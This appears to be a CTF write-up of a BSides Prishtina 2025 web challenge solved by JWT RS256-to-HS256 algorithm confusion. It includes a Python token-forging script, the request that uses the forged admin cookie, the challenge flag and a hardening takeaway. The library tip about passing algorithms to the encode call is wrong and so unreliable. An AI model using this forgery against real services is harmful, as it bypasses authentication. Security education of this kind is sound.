Skip to content
Back to Writeups
Web Medium

Admin Panel Bypass via JWT Algorithm Confusion

A JWT authentication challenge where switching the algorithm from RS256 to HS256 and signing with the server's own public key grants unrestricted admin access.

BSides Prishtina 2025 September 14, 2025 by javelin

The challenge gave us a login page, a JWT cookie on successful login, and a /admin route that returned a 403 for normal users. No source code — black-box only.

Reconnaissance

First thing: capture the login request in Burp, log in with the provided guest credentials (guest:guest), and decode the JWT from the Authorization cookie.

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0IiwiaWF0IjoxNzI2MzE2ODAwfQ.<sig>

Decoding the header and payload:

{ "alg": "RS256", "typ": "JWT" }
{ "username": "guest", "role": "guest", "iat": 1726316800 }

The server is using RS256 — asymmetric signing with a private key. Normally that is solid. But the interesting question is: does the server blindly trust whatever alg the token claims, or does it enforce RS256?

Finding The Public Key

With RS256, the server signs with its private key and verifies with the public key. The public key is often published — JWKS endpoint, TLS certificate, or just floating in the app’s static assets.

I checked the usual spots:

GET /.well-known/jwks.json  → 404
GET /api/auth/public-key    → 404
GET /static/jwt_public.pem  → 200 OK

The server was serving its own RSA public key at /static/jwt_public.pem. That is the vulnerability setup.

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2a8m...
-----END PUBLIC KEY-----

The Algorithm Confusion Attack

i Why This Works

When a JWT library accepts arbitrary algorithms, an attacker can switch alg from RS256 to HS256. In HS256, the same key is used to both sign and verify. If the library reuses whatever it finds as the “key” — in this case the public key string — then we can sign a forged token with the public key and the server will verify it successfully, because it is checking HS256(token, publicKey) == HS256(token, publicKey).

The attack is three steps:

  1. Grab the public key
  2. Forge a new token with alg: HS256, role: admin
  3. Sign it using the public key bytes as the HMAC secret
import jwt

PUBLIC_KEY = open("jwt_public.pem").read()

forged = jwt.encode(
    {"username": "admin", "role": "admin", "iat": 1726316800},
    PUBLIC_KEY,
    algorithm="HS256"
)

print(forged)
! Library Version Matters

Some newer versions of PyJWT reject algorithm switching by default. If you hit an InvalidAlgorithmError, use python-jose or pass algorithms=["HS256"] explicitly in the encode call.

Exploiting The Admin Panel

I swapped the cookie in Burp Repeater and hit /admin:

GET /admin HTTP/1.1
Host: bsides-web.ctf.local
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response:

HTTP/1.1 200 OK
Content-Type: text/html

<h1>Admin Panel</h1>
<p>Welcome, admin. Here is your flag:</p>
<p>BSIDES{...}</p>

Key Takeaway

The vulnerability is not in JWT itself but in library misconfiguration. A correctly hardened setup explicitly specifies the allowed algorithm server-side and never reads alg from the token header for verification decisions. Libraries like python-jose and jsonwebtoken (Node) both have options to enforce this.

If you see RS256 in a black-box JWT challenge, always check for a public key endpoint and try the HS256 confusion — it still lands more often than it should.

Flag
BSIDES{jwt_alg0r1thm_c0nfus10n_4nd_s1gn3d_w1th_publ1c}